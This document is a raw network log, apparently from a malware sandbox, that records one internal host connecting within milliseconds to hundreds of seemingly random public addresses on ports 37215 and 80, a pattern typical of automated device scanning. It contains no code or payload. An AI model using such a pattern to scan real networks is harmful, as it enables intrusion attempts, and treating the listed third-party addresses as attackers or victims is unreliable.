Jan 5, 2025 14:34:59.061542988 CET	29479	37215	192.168.2.13	156.8.176.89
Jan 5, 2025 14:34:59.061542988 CET	29477	80	192.168.2.13	132.101.172.135
Jan 5, 2025 14:34:59.061569929 CET	29479	37215	192.168.2.13	156.23.166.105
Jan 5, 2025 14:34:59.061569929 CET	29479	37215	192.168.2.13	41.224.229.23
Jan 5, 2025 14:34:59.061573029 CET	29477	80	192.168.2.13	203.253.130.250
Jan 5, 2025 14:34:59.061573029 CET	29479	37215	192.168.2.13	41.124.18.24
Jan 5, 2025 14:34:59.061573029 CET	29479	37215	192.168.2.13	156.66.153.175
Jan 5, 2025 14:34:59.061573029 CET	29477	80	192.168.2.13	201.152.75.14
Jan 5, 2025 14:34:59.061575890 CET	29477	80	192.168.2.13	122.131.40.134
Jan 5, 2025 14:34:59.061574936 CET	29477	80	192.168.2.13	80.239.113.73
Jan 5, 2025 14:34:59.061575890 CET	29477	80	192.168.2.13	210.27.141.142
Jan 5, 2025 14:34:59.061575890 CET	29477	80	192.168.2.13	54.84.113.108
Jan 5, 2025 14:34:59.061573982 CET	29479	37215	192.168.2.13	197.102.81.188
Jan 5, 2025 14:34:59.061575890 CET	29477	80	192.168.2.13	206.245.108.209
Jan 5, 2025 14:34:59.061573029 CET	29479	37215	192.168.2.13	156.94.128.235
Jan 5, 2025 14:34:59.061575890 CET	29479	37215	192.168.2.13	197.246.10.52
Jan 5, 2025 14:34:59.061573029 CET	29477	80	192.168.2.13	153.232.245.210
Jan 5, 2025 14:34:59.061574936 CET	29477	80	192.168.2.13	96.74.223.183
Jan 5, 2025 14:34:59.061573982 CET	29479	37215	192.168.2.13	156.112.72.76
Jan 5, 2025 14:34:59.061573029 CET	29479	37215	192.168.2.13	197.151.177.30
Jan 5, 2025 14:34:59.061573982 CET	29479	37215	192.168.2.13	41.55.116.29
Jan 5, 2025 14:34:59.061573982 CET	29479	37215	192.168.2.13	156.38.7.92
Jan 5, 2025 14:34:59.061573982 CET	29477	80	192.168.2.13	144.191.148.122
Jan 5, 2025 14:34:59.061573982 CET	29479	37215	192.168.2.13	197.167.114.183
Jan 5, 2025 14:34:59.061573982 CET	29479	37215	192.168.2.13	156.175.172.58
Jan 5, 2025 14:34:59.061573982 CET	29477	80	192.168.2.13	109.14.138.26
Jan 5, 2025 14:34:59.061599970 CET	29479	37215	192.168.2.13	156.237.231.163
Jan 5, 2025 14:34:59.061599970 CET	29479	37215	192.168.2.13	197.134.216.149
Jan 5, 2025 14:34:59.061613083 CET	29479	37215	192.168.2.13	156.83.226.180
Jan 5, 2025 14:34:59.061618090 CET	29477	80	192.168.2.13	54.228.101.154
Jan 5, 2025 14:34:59.061618090 CET	29479	37215	192.168.2.13	156.154.123.56
Jan 5, 2025 14:34:59.061618090 CET	29479	37215	192.168.2.13	156.90.49.11
Jan 5, 2025 14:34:59.061618090 CET	29479	37215	192.168.2.13	41.159.134.57
Jan 5, 2025 14:34:59.061620951 CET	29479	37215	192.168.2.13	197.126.207.92
Jan 5, 2025 14:34:59.061620951 CET	29479	37215	192.168.2.13	197.129.211.126
Jan 5, 2025 14:34:59.061620951 CET	29477	80	192.168.2.13	200.149.207.179
Jan 5, 2025 14:34:59.061620951 CET	29479	37215	192.168.2.13	197.72.154.129
Jan 5, 2025 14:34:59.061625004 CET	29479	37215	192.168.2.13	41.64.24.114
Jan 5, 2025 14:34:59.061625004 CET	29477	80	192.168.2.13	164.70.107.55
Jan 5, 2025 14:34:59.061625004 CET	29477	80	192.168.2.13	123.51.124.167
Jan 5, 2025 14:34:59.061625004 CET	29479	37215	192.168.2.13	156.74.31.190
Jan 5, 2025 14:34:59.061625004 CET	29479	37215	192.168.2.13	197.89.63.142
Jan 5, 2025 14:34:59.061626911 CET	29479	37215	192.168.2.13	197.254.79.193
Jan 5, 2025 14:34:59.061626911 CET	29477	80	192.168.2.13	194.242.90.117
Jan 5, 2025 14:34:59.061628103 CET	29479	37215	192.168.2.13	41.172.27.128
Jan 5, 2025 14:34:59.061626911 CET	29479	37215	192.168.2.13	41.27.58.231
Jan 5, 2025 14:34:59.061628103 CET	29477	80	192.168.2.13	86.78.78.227
Jan 5, 2025 14:34:59.061626911 CET	29477	80	192.168.2.13	80.161.1.183
Jan 5, 2025 14:34:59.061628103 CET	29477	80	192.168.2.13	115.88.199.39
Jan 5, 2025 14:34:59.061628103 CET	29479	37215	192.168.2.13	156.20.183.23
Jan 5, 2025 14:34:59.061628103 CET	29479	37215	192.168.2.13	156.190.135.18
Jan 5, 2025 14:34:59.061628103 CET	29477	80	192.168.2.13	19.43.231.91
Jan 5, 2025 14:34:59.061628103 CET	29479	37215	192.168.2.13	156.216.132.169
Jan 5, 2025 14:34:59.061626911 CET	29479	37215	192.168.2.13	156.26.194.143
Jan 5, 2025 14:34:59.061628103 CET	29477	80	192.168.2.13	103.167.192.205
Jan 5, 2025 14:34:59.061626911 CET	29477	80	192.168.2.13	70.97.248.62
Jan 5, 2025 14:34:59.061628103 CET	29479	37215	192.168.2.13	41.2.165.171
Jan 5, 2025 14:34:59.061628103 CET	29479	37215	192.168.2.13	41.33.88.126
Jan 5, 2025 14:34:59.061628103 CET	29479	37215	192.168.2.13	197.61.223.21
Jan 5, 2025 14:34:59.061628103 CET	29477	80	192.168.2.13	111.107.33.125
Jan 5, 2025 14:34:59.061628103 CET	29477	80	192.168.2.13	51.198.141.93
Jan 5, 2025 14:34:59.061628103 CET	29479	37215	192.168.2.13	41.74.208.205
Jan 5, 2025 14:34:59.061628103 CET	29477	80	192.168.2.13	197.20.19.224
Jan 5, 2025 14:34:59.061628103 CET	29477	80	192.168.2.13	103.43.187.162
Jan 5, 2025 14:34:59.061650038 CET	29479	37215	192.168.2.13	156.206.212.131
Jan 5, 2025 14:34:59.061650038 CET	29479	37215	192.168.2.13	197.8.253.232
Jan 5, 2025 14:34:59.061651945 CET	29479	37215	192.168.2.13	156.233.96.126
Jan 5, 2025 14:34:59.061651945 CET	29479	37215	192.168.2.13	41.146.137.141
Jan 5, 2025 14:34:59.061651945 CET	29479	37215	192.168.2.13	156.84.46.64
Jan 5, 2025 14:34:59.061651945 CET	29479	37215	192.168.2.13	156.207.235.125
Jan 5, 2025 14:34:59.061655045 CET	29479	37215	192.168.2.13	156.72.72.200
Jan 5, 2025 14:34:59.061651945 CET	29477	80	192.168.2.13	211.253.183.23
Jan 5, 2025 14:34:59.061651945 CET	29479	37215	192.168.2.13	156.136.75.237
Jan 5, 2025 14:34:59.061655045 CET	29477	80	192.168.2.13	199.47.89.170
Jan 5, 2025 14:34:59.061652899 CET	29479	37215	192.168.2.13	197.63.113.171
Jan 5, 2025 14:34:59.061651945 CET	29479	37215	192.168.2.13	41.90.74.152
Jan 5, 2025 14:34:59.061655045 CET	29477	80	192.168.2.13	151.106.251.114
Jan 5, 2025 14:34:59.061655045 CET	29479	37215	192.168.2.13	41.114.49.248
Jan 5, 2025 14:34:59.061652899 CET	29477	80	192.168.2.13	42.119.35.21
Jan 5, 2025 14:34:59.061655045 CET	29479	37215	192.168.2.13	197.144.215.210
Jan 5, 2025 14:34:59.061655045 CET	29479	37215	192.168.2.13	197.248.155.232
Jan 5, 2025 14:34:59.061655045 CET	29477	80	192.168.2.13	12.148.27.236
Jan 5, 2025 14:34:59.061655045 CET	29479	37215	192.168.2.13	41.188.185.245
Jan 5, 2025 14:34:59.061655045 CET	29477	80	192.168.2.13	97.89.49.88
Jan 5, 2025 14:34:59.061651945 CET	29479	37215	192.168.2.13	197.39.0.212
Jan 5, 2025 14:34:59.061662912 CET	29479	37215	192.168.2.13	197.139.77.200
Jan 5, 2025 14:34:59.061655045 CET	29477	80	192.168.2.13	34.23.150.33
Jan 5, 2025 14:34:59.061655045 CET	29477	80	192.168.2.13	155.205.177.214
Jan 5, 2025 14:34:59.061662912 CET	29479	37215	192.168.2.13	197.99.129.248
Jan 5, 2025 14:34:59.061655045 CET	29477	80	192.168.2.13	85.83.182.178
Jan 5, 2025 14:34:59.061662912 CET	29477	80	192.168.2.13	49.146.41.75
Jan 5, 2025 14:34:59.061655045 CET	29479	37215	192.168.2.13	197.70.26.199
Jan 5, 2025 14:34:59.061651945 CET	29479	37215	192.168.2.13	197.185.182.141
Jan 5, 2025 14:34:59.061662912 CET	29477	80	192.168.2.13	25.182.22.228
Jan 5, 2025 14:34:59.061655045 CET	29477	80	192.168.2.13	59.163.35.10
Jan 5, 2025 14:34:59.061675072 CET	29477	80	192.168.2.13	156.151.108.173
Jan 5, 2025 14:34:59.061676979 CET	29477	80	192.168.2.13	181.38.166.70
Jan 5, 2025 14:34:59.061675072 CET	29477	80	192.168.2.13	199.161.129.167
Jan 5, 2025 14:34:59.061676979 CET	29479	37215	192.168.2.13	41.192.232.48
Jan 5, 2025 14:34:59.061675072 CET	29477	80	192.168.2.13	75.152.163.174
Jan 5, 2025 14:34:59.061677933 CET	29477	80	192.168.2.13	220.65.206.173
Jan 5, 2025 14:34:59.061680079 CET	29477	80	192.168.2.13	82.85.147.173
Jan 5, 2025 14:34:59.061676979 CET	29479	37215	192.168.2.13	156.229.229.115
Jan 5, 2025 14:34:59.061677933 CET	29477	80	192.168.2.13	181.184.127.199
Jan 5, 2025 14:34:59.061680079 CET	29479	37215	192.168.2.13	197.207.226.139
Jan 5, 2025 14:34:59.061677933 CET	29479	37215	192.168.2.13	41.255.169.131
Jan 5, 2025 14:34:59.061688900 CET	29477	80	192.168.2.13	23.53.127.66
Jan 5, 2025 14:34:59.061690092 CET	29479	37215	192.168.2.13	41.86.84.157
Jan 5, 2025 14:34:59.061690092 CET	29477	80	192.168.2.13	20.159.124.102
Jan 5, 2025 14:34:59.061691046 CET	29477	80	192.168.2.13	130.165.160.219
Jan 5, 2025 14:34:59.061690092 CET	29479	37215	192.168.2.13	197.134.170.241
Jan 5, 2025 14:34:59.061690092 CET	29479	37215	192.168.2.13	41.203.98.26
Jan 5, 2025 14:34:59.061690092 CET	29479	37215	192.168.2.13	197.233.123.106
Jan 5, 2025 14:34:59.061688900 CET	29477	80	192.168.2.13	19.46.56.112
Jan 5, 2025 14:34:59.061690092 CET	29479	37215	192.168.2.13	156.196.96.239
Jan 5, 2025 14:34:59.061691046 CET	29477	80	192.168.2.13	128.13.187.235
Jan 5, 2025 14:34:59.061690092 CET	29479	37215	192.168.2.13	156.174.53.137
Jan 5, 2025 14:34:59.061700106 CET	29477	80	192.168.2.13	145.96.162.142
Jan 5, 2025 14:34:59.061690092 CET	29479	37215	192.168.2.13	156.2.230.252
Jan 5, 2025 14:34:59.061700106 CET	29479	37215	192.168.2.13	197.125.153.7
Jan 5, 2025 14:34:59.061690092 CET	29477	80	192.168.2.13	200.104.100.132
Jan 5, 2025 14:34:59.061688900 CET	29479	37215	192.168.2.13	156.37.179.69
Jan 5, 2025 14:34:59.061690092 CET	29479	37215	192.168.2.13	41.230.231.74
Jan 5, 2025 14:34:59.061676979 CET	29477	80	192.168.2.13	144.110.155.168
Jan 5, 2025 14:34:59.061690092 CET	29479	37215	192.168.2.13	41.242.66.123
Jan 5, 2025 14:34:59.061703920 CET	29479	37215	192.168.2.13	41.254.192.121
Jan 5, 2025 14:34:59.061676979 CET	29479	37215	192.168.2.13	41.250.140.24
Jan 5, 2025 14:34:59.061706066 CET	29479	37215	192.168.2.13	41.241.95.147
Jan 5, 2025 14:34:59.061688900 CET	29479	37215	192.168.2.13	41.35.238.130
Jan 5, 2025 14:34:59.061676979 CET	29477	80	192.168.2.13	205.118.119.12
Jan 5, 2025 14:34:59.061691046 CET	29479	37215	192.168.2.13	197.198.125.88
Jan 5, 2025 14:34:59.061676979 CET	29479	37215	192.168.2.13	156.66.67.223
Jan 5, 2025 14:34:59.061676979 CET	29477	80	192.168.2.13	148.227.197.203
Jan 5, 2025 14:34:59.061691046 CET	29479	37215	192.168.2.13	156.212.117.198
Jan 5, 2025 14:34:59.061691999 CET	29477	80	192.168.2.13	182.77.138.106
Jan 5, 2025 14:34:59.061691999 CET	29479	37215	192.168.2.13	41.27.107.210
Jan 5, 2025 14:34:59.061691999 CET	29479	37215	192.168.2.13	156.156.40.151
Jan 5, 2025 14:34:59.061713934 CET	29479	37215	192.168.2.13	156.173.214.242
Jan 5, 2025 14:34:59.061713934 CET	29479	37215	192.168.2.13	197.90.225.61
Jan 5, 2025 14:34:59.061713934 CET	29479	37215	192.168.2.13	156.63.91.84
Jan 5, 2025 14:34:59.061717033 CET	29479	37215	192.168.2.13	41.145.198.61
Jan 5, 2025 14:34:59.061717987 CET	29477	80	192.168.2.13	50.57.166.171
Jan 5, 2025 14:34:59.061717987 CET	29477	80	192.168.2.13	112.62.206.78
Jan 5, 2025 14:34:59.061717987 CET	29477	80	192.168.2.13	195.242.10.146
Jan 5, 2025 14:34:59.061718941 CET	29477	80	192.168.2.13	190.106.134.128
Jan 5, 2025 14:34:59.061717987 CET	29479	37215	192.168.2.13	41.64.171.160
Jan 5, 2025 14:34:59.061718941 CET	29479	37215	192.168.2.13	156.220.29.201
Jan 5, 2025 14:34:59.061718941 CET	29477	80	192.168.2.13	24.121.107.77
Jan 5, 2025 14:34:59.061718941 CET	29479	37215	192.168.2.13	197.180.34.114
Jan 5, 2025 14:34:59.061722040 CET	29479	37215	192.168.2.13	41.8.116.246
Jan 5, 2025 14:34:59.061718941 CET	29479	37215	192.168.2.13	41.176.78.251
Jan 5, 2025 14:34:59.061722040 CET	29477	80	192.168.2.13	177.48.37.194
Jan 5, 2025 14:34:59.061718941 CET	29479	37215	192.168.2.13	197.53.144.69
Jan 5, 2025 14:34:59.061722040 CET	29477	80	192.168.2.13	187.243.112.210
Jan 5, 2025 14:34:59.061722040 CET	29477	80	192.168.2.13	148.249.139.222
Jan 5, 2025 14:34:59.061723948 CET	29479	37215	192.168.2.13	41.157.226.83
Jan 5, 2025 14:34:59.061723948 CET	29477	80	192.168.2.13	203.95.31.48
Jan 5, 2025 14:34:59.061728001 CET	29477	80	192.168.2.13	85.193.5.246
Jan 5, 2025 14:34:59.061728001 CET	29479	37215	192.168.2.13	41.12.94.167
Jan 5, 2025 14:34:59.061728001 CET	29477	80	192.168.2.13	168.116.40.223
Jan 5, 2025 14:34:59.061728001 CET	29479	37215	192.168.2.13	156.122.186.255
Jan 5, 2025 14:34:59.061728001 CET	29477	80	192.168.2.13	140.249.180.209
Jan 5, 2025 14:34:59.061728001 CET	29479	37215	192.168.2.13	197.40.59.190
Jan 5, 2025 14:34:59.061728001 CET	29479	37215	192.168.2.13	41.193.184.82
Jan 5, 2025 14:34:59.061728001 CET	29477	80	192.168.2.13	58.138.40.185
Jan 5, 2025 14:34:59.061732054 CET	29477	80	192.168.2.13	135.83.125.160
Jan 5, 2025 14:34:59.061732054 CET	29479	37215	192.168.2.13	197.56.112.220
Jan 5, 2025 14:34:59.061737061 CET	29479	37215	192.168.2.13	41.111.112.67
Jan 5, 2025 14:34:59.061739922 CET	29479	37215	192.168.2.13	41.125.122.161
Jan 5, 2025 14:34:59.061739922 CET	29479	37215	192.168.2.13	41.53.208.96
Jan 5, 2025 14:34:59.061739922 CET	29479	37215	192.168.2.13	156.122.253.50
Jan 5, 2025 14:34:59.061739922 CET	29477	80	192.168.2.13	18.95.1.236
Jan 5, 2025 14:34:59.061739922 CET	29477	80	192.168.2.13	37.185.23.19
Jan 5, 2025 14:34:59.061742067 CET	29477	80	192.168.2.13	203.3.217.56
Jan 5, 2025 14:34:59.061742067 CET	29479	37215	192.168.2.13	156.194.188.255
Jan 5, 2025 14:34:59.061742067 CET	29479	37215	192.168.2.13	197.100.58.239
Jan 5, 2025 14:34:59.061748981 CET	29479	37215	192.168.2.13	41.191.91.246
Jan 5, 2025 14:34:59.061748981 CET	29477	80	192.168.2.13	69.168.199.192
Jan 5, 2025 14:34:59.061753035 CET	29479	37215	192.168.2.13	197.166.87.119
Jan 5, 2025 14:34:59.061753035 CET	29479	37215	192.168.2.13	41.122.101.217
Jan 5, 2025 14:34:59.061754942 CET	29479	37215	192.168.2.13	197.224.83.52
Jan 5, 2025 14:34:59.061754942 CET	29477	80	192.168.2.13	99.36.232.128
Jan 5, 2025 14:34:59.061754942 CET	29479	37215	192.168.2.13	41.63.233.168
Jan 5, 2025 14:34:59.061759949 CET	29479	37215	192.168.2.13	156.40.30.2
Jan 5, 2025 14:34:59.061764002 CET	29479	37215	192.168.2.13	156.111.165.233
Jan 5, 2025 14:34:59.061764002 CET	29477	80	192.168.2.13	12.225.251.14
Jan 5, 2025 14:34:59.061764002 CET	29479	37215	192.168.2.13	156.31.26.23
Jan 5, 2025 14:34:59.061765909 CET	29479	37215	192.168.2.13	41.40.239.110
Jan 5, 2025 14:34:59.061765909 CET	29479	37215	192.168.2.13	41.173.147.243
Jan 5, 2025 14:34:59.061765909 CET	29477	80	192.168.2.13	194.53.253.226
Jan 5, 2025 14:34:59.061765909 CET	29479	37215	192.168.2.13	156.104.173.249
Jan 5, 2025 14:34:59.061767101 CET	29477	80	192.168.2.13	195.248.211.237
Jan 5, 2025 14:34:59.061767101 CET	29479	37215	192.168.2.13	156.128.175.155
Jan 5, 2025 14:34:59.061770916 CET	29477	80	192.168.2.13	160.187.67.31
Jan 5, 2025 14:34:59.061770916 CET	29479	37215	192.168.2.13	156.103.171.97
Jan 5, 2025 14:34:59.061778069 CET	29479	37215	192.168.2.13	156.16.239.13
Jan 5, 2025 14:34:59.061778069 CET	29477	80	192.168.2.13	167.122.230.215
Jan 5, 2025 14:34:59.061778069 CET	29477	80	192.168.2.13	159.80.193.96
Jan 5, 2025 14:34:59.061774015 CET	29477	80	192.168.2.13	129.121.92.21
Jan 5, 2025 14:34:59.061779976 CET	29479	37215	192.168.2.13	156.93.131.70
Jan 5, 2025 14:34:59.061774015 CET	29477	80	192.168.2.13	162.8.254.63
Jan 5, 2025 14:34:59.061781883 CET	29479	37215	192.168.2.13	41.129.202.48
Jan 5, 2025 14:34:59.061783075 CET	29479	37215	192.168.2.13	41.72.48.77
Jan 5, 2025 14:34:59.061784029 CET	29477	80	192.168.2.13	218.150.190.220
Jan 5, 2025 14:34:59.061785936 CET	29479	37215	192.168.2.13	156.116.226.73
Jan 5, 2025 14:34:59.061786890 CET	29479	37215	192.168.2.13	197.33.14.35
Jan 5, 2025 14:34:59.061786890 CET	29479	37215	192.168.2.13	197.188.161.110
Jan 5, 2025 14:34:59.061786890 CET	29479	37215	192.168.2.13	197.61.28.204
Jan 5, 2025 14:34:59.061785936 CET	29479	37215	192.168.2.13	156.158.33.203
Jan 5, 2025 14:34:59.061789989 CET	29479	37215	192.168.2.13	197.30.227.147
Jan 5, 2025 14:34:59.061786890 CET	29479	37215	192.168.2.13	156.106.224.151
Jan 5, 2025 14:34:59.061789989 CET	29477	80	192.168.2.13	126.17.160.161
Jan 5, 2025 14:34:59.061795950 CET	29479	37215	192.168.2.13	197.130.206.177
Jan 5, 2025 14:34:59.061789989 CET	29479	37215	192.168.2.13	41.129.151.213
Jan 5, 2025 14:34:59.061799049 CET	29479	37215	192.168.2.13	41.182.121.191
Jan 5, 2025 14:34:59.061801910 CET	29479	37215	192.168.2.13	156.98.106.94
Jan 5, 2025 14:34:59.061801910 CET	29479	37215	192.168.2.13	156.16.251.241
Jan 5, 2025 14:34:59.061804056 CET	29477	80	192.168.2.13	132.108.32.3
Jan 5, 2025 14:34:59.061805010 CET	29477	80	192.168.2.13	186.66.150.139
Jan 5, 2025 14:34:59.061805010 CET	29477	80	192.168.2.13	8.242.251.225
Jan 5, 2025 14:34:59.061805010 CET	29477	80	192.168.2.13	120.161.73.244
Jan 5, 2025 14:34:59.061810970 CET	29479	37215	192.168.2.13	156.106.56.70
Jan 5, 2025 14:34:59.061810970 CET	29477	80	192.168.2.13	183.32.55.234
Jan 5, 2025 14:34:59.061815023 CET	29477	80	192.168.2.13	211.233.2.122
Jan 5, 2025 14:34:59.061820984 CET	29477	80	192.168.2.13	147.55.171.87
Jan 5, 2025 14:34:59.061822891 CET	29479	37215	192.168.2.13	41.54.89.35
Jan 5, 2025 14:34:59.061822891 CET	29477	80	192.168.2.13	84.29.82.0
Jan 5, 2025 14:34:59.061822891 CET	29477	80	192.168.2.13	79.8.173.100
Jan 5, 2025 14:34:59.061822891 CET	29479	37215	192.168.2.13	156.138.40.248
Jan 5, 2025 14:34:59.061825991 CET	29479	37215	192.168.2.13	41.245.72.180
Jan 5, 2025 14:34:59.061844110 CET	29479	37215	192.168.2.13	41.76.15.108
Jan 5, 2025 14:34:59.061844110 CET	29479	37215	192.168.2.13	197.4.145.217
Jan 5, 2025 14:34:59.061844110 CET	29479	37215	192.168.2.13	41.31.190.150
Jan 5, 2025 14:34:59.061845064 CET	29479	37215	192.168.2.13	197.220.121.252
Jan 5, 2025 14:34:59.061847925 CET	29479	37215	192.168.2.13	156.59.116.158
Jan 5, 2025 14:34:59.061849117 CET	29479	37215	192.168.2.13	197.223.1.206
Jan 5, 2025 14:34:59.061849117 CET	29479	37215	192.168.2.13	197.167.222.183
Jan 5, 2025 14:34:59.061853886 CET	29479	37215	192.168.2.13	197.61.83.6
Jan 5, 2025 14:34:59.061853886 CET	29479	37215	192.168.2.13	197.211.193.156
Jan 5, 2025 14:34:59.061853886 CET	29479	37215	192.168.2.13	156.183.80.109
Jan 5, 2025 14:34:59.061856985 CET	29479	37215	192.168.2.13	156.233.214.168
Jan 5, 2025 14:34:59.061855078 CET	29479	37215	192.168.2.13	41.136.26.54
Jan 5, 2025 14:34:59.061857939 CET	29479	37215	192.168.2.13	197.0.226.238
Jan 5, 2025 14:34:59.061857939 CET	29479	37215	192.168.2.13	197.204.24.84
Jan 5, 2025 14:34:59.061865091 CET	29477	80	192.168.2.13	42.97.38.234
Jan 5, 2025 14:34:59.061873913 CET	29477	80	192.168.2.13	90.162.146.181
Jan 5, 2025 14:34:59.061883926 CET	29477	80	192.168.2.13	37.252.126.165
Jan 5, 2025 14:34:59.061887026 CET	29479	37215	192.168.2.13	197.252.253.56
Jan 5, 2025 14:34:59.061887026 CET	29477	80	192.168.2.13	48.13.159.28
Jan 5, 2025 14:34:59.061888933 CET	29477	80	192.168.2.13	128.49.140.117
Jan 5, 2025 14:34:59.061888933 CET	29479	37215	192.168.2.13	41.23.154.87
Jan 5, 2025 14:34:59.061888933 CET	29477	80	192.168.2.13	71.255.220.59
Jan 5, 2025 14:34:59.061888933 CET	29479	37215	192.168.2.13	156.129.78.180
Jan 5, 2025 14:34:59.061889887 CET	29479	37215	192.168.2.13	156.118.93.11
Jan 5, 2025 14:34:59.061889887 CET	29477	80	192.168.2.13	120.162.56.3
Jan 5, 2025 14:34:59.061891079 CET	29479	37215	192.168.2.13	197.163.230.224
Jan 5, 2025 14:34:59.061892033 CET	29479	37215	192.168.2.13	156.71.246.172
Jan 5, 2025 14:34:59.061897993 CET	29479	37215	192.168.2.13	156.230.229.98
Jan 5, 2025 14:34:59.061899900 CET	29477	80	192.168.2.13	123.109.59.182
Jan 5, 2025 14:34:59.061899900 CET	29477	80	192.168.2.13	147.72.243.202
Jan 5, 2025 14:34:59.061899900 CET	29477	80	192.168.2.13	178.244.100.193
Jan 5, 2025 14:34:59.061899900 CET	29479	37215	192.168.2.13	156.65.106.205
Jan 5, 2025 14:34:59.061901093 CET	29479	37215	192.168.2.13	156.190.254.191
Jan 5, 2025 14:34:59.061908007 CET	29477	80	192.168.2.13	8.21.203.228
Jan 5, 2025 14:34:59.061913967 CET	29479	37215	192.168.2.13	156.186.41.107
Jan 5, 2025 14:34:59.061918974 CET	29479	37215	192.168.2.13	41.153.0.7
Jan 5, 2025 14:34:59.061918974 CET	29477	80	192.168.2.13	44.242.253.102
Jan 5, 2025 14:34:59.061923981 CET	29477	80	192.168.2.13	78.75.153.63
Jan 5, 2025 14:34:59.061929941 CET	29479	37215	192.168.2.13	41.4.109.149
Jan 5, 2025 14:34:59.061929941 CET	29479	37215	192.168.2.13	197.159.100.201
Jan 5, 2025 14:34:59.061929941 CET	29477	80	192.168.2.13	69.181.155.242
Jan 5, 2025 14:34:59.061939955 CET	29477	80	192.168.2.13	208.170.91.183
Jan 5, 2025 14:34:59.061939955 CET	29477	80	192.168.2.13	81.60.19.26
Jan 5, 2025 14:34:59.061943054 CET	29477	80	192.168.2.13	154.130.225.229
Jan 5, 2025 14:34:59.061944008 CET	29477	80	192.168.2.13	192.212.54.232
Jan 5, 2025 14:34:59.061944008 CET	29477	80	192.168.2.13	117.75.213.253
Jan 5, 2025 14:34:59.061952114 CET	29479	37215	192.168.2.13	197.255.137.53
Jan 5, 2025 14:34:59.061953068 CET	29479	37215	192.168.2.13	197.97.93.65
Jan 5, 2025 14:34:59.061954021 CET	29477	80	192.168.2.13	157.141.208.118
Jan 5, 2025 14:34:59.061956882 CET	29477	80	192.168.2.13	145.229.255.147
Jan 5, 2025 14:34:59.061956882 CET	29477	80	192.168.2.13	50.121.155.84
Jan 5, 2025 14:34:59.061956882 CET	29479	37215	192.168.2.13	197.240.83.124
Jan 5, 2025 14:34:59.061958075 CET	29479	37215	192.168.2.13	41.36.83.244
Jan 5, 2025 14:34:59.061966896 CET	29479	37215	192.168.2.13	41.168.146.213
Jan 5, 2025 14:34:59.061966896 CET	29477	80	192.168.2.13	90.158.64.222
Jan 5, 2025 14:34:59.061966896 CET	29477	80	192.168.2.13	125.235.132.196
Jan 5, 2025 14:34:59.061973095 CET	29477	80	192.168.2.13	92.16.62.249
Jan 5, 2025 14:34:59.061978102 CET	29477	80	192.168.2.13	75.124.13.125
Jan 5, 2025 14:34:59.061980963 CET	29477	80	192.168.2.13	116.105.251.189
Jan 5, 2025 14:34:59.061980963 CET	29479	37215	192.168.2.13	197.128.130.101
Jan 5, 2025 14:34:59.061981916 CET	29477	80	192.168.2.13	201.172.249.104
Jan 5, 2025 14:34:59.061981916 CET	29479	37215	192.168.2.13	41.58.133.203
Jan 5, 2025 14:34:59.061980963 CET	29477	80	192.168.2.13	5.135.126.28
Jan 5, 2025 14:34:59.061986923 CET	29477	80	192.168.2.13	59.228.137.124
Jan 5, 2025 14:34:59.061986923 CET	29477	80	192.168.2.13	170.233.165.10
Jan 5, 2025 14:34:59.061985016 CET	29479	37215	192.168.2.13	197.36.170.146
Jan 5, 2025 14:34:59.061985016 CET	29479	37215	192.168.2.13	41.144.14.171
Jan 5, 2025 14:34:59.061995029 CET	29477	80	192.168.2.13	83.133.239.64
Jan 5, 2025 14:34:59.061994076 CET	29477	80	192.168.2.13	95.62.113.223
Jan 5, 2025 14:34:59.061999083 CET	29479	37215	192.168.2.13	197.26.55.33
Jan 5, 2025 14:34:59.061999083 CET	29477	80	192.168.2.13	173.28.215.175
Jan 5, 2025 14:34:59.062000990 CET	29479	37215	192.168.2.13	197.142.193.17
Jan 5, 2025 14:34:59.062000990 CET	29479	37215	192.168.2.13	197.200.33.242
Jan 5, 2025 14:34:59.062004089 CET	29477	80	192.168.2.13	221.88.68.28
Jan 5, 2025 14:34:59.062004089 CET	29479	37215	192.168.2.13	41.118.131.154
Jan 5, 2025 14:34:59.062009096 CET	29477	80	192.168.2.13	110.86.81.238
Jan 5, 2025 14:34:59.062011003 CET	29477	80	192.168.2.13	71.161.116.211
Jan 5, 2025 14:34:59.062021971 CET	29477	80	192.168.2.13	141.215.184.224
Jan 5, 2025 14:34:59.062028885 CET	29479	37215	192.168.2.13	197.60.196.168
Jan 5, 2025 14:34:59.062028885 CET	29479	37215	192.168.2.13	41.218.12.8
Jan 5, 2025 14:34:59.062032938 CET	29479	37215	192.168.2.13	41.200.122.69
Jan 5, 2025 14:34:59.062035084 CET	29479	37215	192.168.2.13	156.246.212.23
Jan 5, 2025 14:34:59.062035084 CET	29479	37215	192.168.2.13	41.39.164.128
Jan 5, 2025 14:34:59.062036991 CET	29477	80	192.168.2.13	201.218.116.224
Jan 5, 2025 14:34:59.062037945 CET	29479	37215	192.168.2.13	156.132.53.100
Jan 5, 2025 14:34:59.062040091 CET	29477	80	192.168.2.13	176.130.105.63
Jan 5, 2025 14:34:59.062040091 CET	29479	37215	192.168.2.13	197.233.4.86
Jan 5, 2025 14:34:59.062041044 CET	29477	80	192.168.2.13	144.196.27.109
Jan 5, 2025 14:34:59.062056065 CET	29479	37215	192.168.2.13	197.94.52.166
Jan 5, 2025 14:34:59.062056065 CET	29479	37215	192.168.2.13	156.231.223.132
Jan 5, 2025 14:34:59.062056065 CET	29479	37215	192.168.2.13	197.141.184.78
Jan 5, 2025 14:34:59.062056065 CET	29479	37215	192.168.2.13	41.97.28.18
Jan 5, 2025 14:34:59.062057972 CET	29479	37215	192.168.2.13	41.61.185.251
Jan 5, 2025 14:34:59.062063932 CET	29479	37215	192.168.2.13	41.203.150.24
Jan 5, 2025 14:34:59.062064886 CET	29479	37215	192.168.2.13	197.189.32.217
Jan 5, 2025 14:34:59.062064886 CET	29479	37215	192.168.2.13	41.39.120.90
Jan 5, 2025 14:34:59.062064886 CET	29479	37215	192.168.2.13	41.86.67.108
Jan 5, 2025 14:34:59.062072992 CET	29479	37215	192.168.2.13	197.60.31.105
Jan 5, 2025 14:34:59.062076092 CET	29479	37215	192.168.2.13	197.159.250.182
Jan 5, 2025 14:34:59.062077045 CET	29477	80	192.168.2.13	77.188.111.193
Jan 5, 2025 14:34:59.062078953 CET	29477	80	192.168.2.13	84.205.85.92
Jan 5, 2025 14:34:59.062087059 CET	29477	80	192.168.2.13	43.23.111.36
Jan 5, 2025 14:34:59.062087059 CET	29479	37215	192.168.2.13	197.160.4.239
Jan 5, 2025 14:34:59.062087059 CET	29479	37215	192.168.2.13	156.71.174.39
Jan 5, 2025 14:34:59.062088013 CET	29479	37215	192.168.2.13	156.116.217.162
Jan 5, 2025 14:34:59.062094927 CET	29477	80	192.168.2.13	57.226.39.39
